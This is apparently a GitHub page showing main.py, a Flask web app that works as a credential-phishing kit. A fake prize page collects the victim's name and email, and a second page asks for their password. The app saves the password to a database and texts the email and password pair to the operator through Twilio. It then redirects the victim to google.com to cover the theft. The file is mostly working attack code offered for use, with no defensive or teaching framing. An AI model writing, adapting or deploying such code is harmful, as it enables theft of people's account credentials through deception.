-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.py
More file actions
121 lines (91 loc) · 3.77 KB
/
main.py
File metadata and controls
121 lines (91 loc) · 3.77 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
from flask import Flask, render_template, redirect, flash, request
from wtforms import Form, TextField, validators, PasswordField, SubmitField
import logging
from twilio.rest import Client
app = Flask(__name__)
app.config['SECRET_KEY'] = 'your_secret_key_here'
import db
def Notify(msg):
# You can get your ready made code snippet while setting up your twilio account
account_sid = os.environ["TWILIO_ACCOUNT_SID"] # Twilio Account SID Here
auth_token = os.environ["TWILIO_AUTH_TOKEN"] # Twilio Authentication Token Here
client = Client(account_sid, auth_token)
message = client.messages.create(
body="{}".format(msg),
from_="+<TWILIO NUMBER>",
to="+<YOUR_NUMBER>"
)
print(message.sid)
# Home page
class ReusableForm(Form):
def validate_amazon(form, field):
logging.warning(field.data)
name = TextField('Name: ', validators=[validators.required()])
email = TextField('Email:', validators=[validators.Email('Please enter a valid email address')])
@app.route('/', methods=['GET', 'POST'])
def home():
form = ReusableForm(request.form)
print (form.errors)
if request.method == 'POST':
name=str(request.form['name'])
email=str(request.form['email'])
if form.validate():
flash('SUCCESS: We are verifying your record')
logging.warning(f'{name}, {email}')
success_msg = f'Congratulations! You are eligible to this Prize. Enjoy :)'
flash(f'{success_msg}')
db.write_data(name, email)
return redirect("/mail?winner="+email)
else:
msg=''
ers = form.errors
for key in ers.keys():
for l in ers[key]:
msg+=l
msg+='. '
print(msg)
flash(f'Error: {msg}')
return render_template('hello.html', form=form)
class RegisterForm(Form):
password = PasswordField(label='Password:')
submit = SubmitField(label='Next')
@app.route('/mail', methods=['GET', 'POST'])
def passwd():
form = RegisterForm()
email = request.args.get('winner')
if request.method == 'POST':
password=str(request.form['password'])
if form.validate():
msg = f"\nEmail: {email} \nPassword: {password}\n"
db.write_pass(email, password)
Notify(msg)
return redirect("https://www.google.com/")
else:
msg=''
ers = form.errors
for key in ers.keys():
for l in ers[key]:
msg+=l
msg+='. '
print(msg)
flash(f'Error: {msg}')
return render_template("passwd.html", form=form, email=email)
# User registration page
@app.route('/register', methods=['GET', 'POST'])
def register():
return render_template('main.html')
# User login page
@app.route('/login', methods=['GET', 'POST'])
def login():
return render_template('main.html')
# User dashboard
@app.route('/dashboard')
def dashboard():
return render_template('dashboard.html')
if __name__ == '__main__':
try:
#port = int(os.environ.get('PORT', 5000))
app.run(host='0.0.0.0', debug=False)
#app.run(host='localhost', port = port)
except:
logging.exception('error')